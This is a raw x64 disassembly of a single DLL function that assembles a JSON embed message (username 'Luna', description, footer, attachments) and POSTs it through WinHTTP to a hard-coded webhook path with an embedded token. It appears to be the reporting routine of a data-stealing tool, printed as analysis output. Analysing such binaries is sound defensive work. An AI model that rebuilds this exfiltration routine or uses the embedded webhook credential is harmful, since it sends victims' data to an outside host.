Function at 0x180006870
Capabilities:
Prepare http request
Receive http response

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x18]
sub rsp, 0x118
mov rax, qword [0x180046080]
xor rax, rsp
mov qword [rbp + 8], rax
mov rsi, r9
mov rdi, r8
mov rbx, rdx
mov r14, rcx
xor r15d, r15d
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.api_webhooks_1198394760184987678_oQ_xGZkWWCcsW0c_FB7sbtdJta6jzRafu2Dsb10Y2NsvWXMoV6XpEkaiN11G6dkxjoV9
lea rdx, str.POST
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [r14 + 0x10], rax
mov rcx, qword [rbx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x3a
jb 0x180006daf
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1800068fb
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x3a
lea r9, str._username_:__Luna___content_:_null__embeds_:___title_:__
mov r8, rbx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x78]
call fcn.180003c60
nop
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 0x12
jb 0x180006972
lea rax, [rcx + 0x12]
mov qword [rbp - 0x68], rax
lea rbx, [rbp - 0x78]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x78]
add rbx, rcx
mov r8d, 0x12
lea rdx, str.___description_:__
mov rcx, rbx
call fcn.180030f50
mov byte [rbx + 0x12], 0
lea rax, [rbp - 0x78]
jmp 0x180006996
mov qword [rsp + 0x20], 0x12
lea r9, str.___description_:__
movzx r8d, byte [rsp + 0x40]
mov edx, 0x12
lea rcx, [rbp - 0x78]
call fcn.180002b30
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x1800069d1
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.180008a50
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 0x31
jb 0x180006a5e
lea rax, [rcx + 0x31]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x68]
add rbx, rcx
mov r8d, 0x31
lea rdx, str.___footer_:__text_:__github.com_Luna___color_:
mov rcx, rbx
call fcn.180030f50
mov byte [rbx + 0x31], 0
lea rax, [rsp + 0x68]
jmp 0x180006a83
mov qword [rsp + 0x20], 0x31
lea r9, str.___footer_:__text_:__github.com_Luna___color_:
movzx r8d, byte [rsp + 0x40]
mov edx, 0x31
lea rcx, [rsp + 0x68]
call fcn.180002b30
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x180006abe
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, [rbp - 0x38]
call fcn.180008a50
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 0x16
jb 0x180006b4c
lea rax, [rcx + 0x16]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, 0x16
lea rdx, str.____attachments_:___
mov rcx, rbx
call fcn.180030f50
mov byte [rbx + 0x16], 0
lea rax, [rsp + 0x48]
jmp 0x180006b71
mov qword [rsp + 0x20], 0x16
lea r9, str.____attachments_:___
movzx r8d, byte [rsp + 0x40]
mov edx, 0x16
lea rcx, [rsp + 0x48]
call fcn.180002b30
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x180006bdb
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006bd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006db5
call fcn.180010744
movdqa xmm0, xmmword [0x180033fd0]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x180006c29
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006c24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006dbb
call fcn.180010744
movdqa xmm0, xmmword [0x180033fd0]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x180006c76
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006c71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006dc1
call fcn.180010744
movdqa xmm0, xmmword [0x180033fd0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x180006cc4
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006cbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006dc7
call fcn.180010744
movdqa xmm0, xmmword [0x180033fd0]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x180006d10
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006d0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006dcd
call fcn.180010744
lea r9, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], r15
mov rax, qword [rbp - 0x48]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x180006d56
xor edx, edx
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x180006d8d
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006d88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006da9
call fcn.180010744
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.180010860
add rsp, 0x118
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.18001765c
int3
call fcn.180008a10
nop
call fcn.18001765c
nop
call fcn.18001765c
nop
call fcn.18001765c
nop
call fcn.18001765c
nop
call fcn.18001765c
int3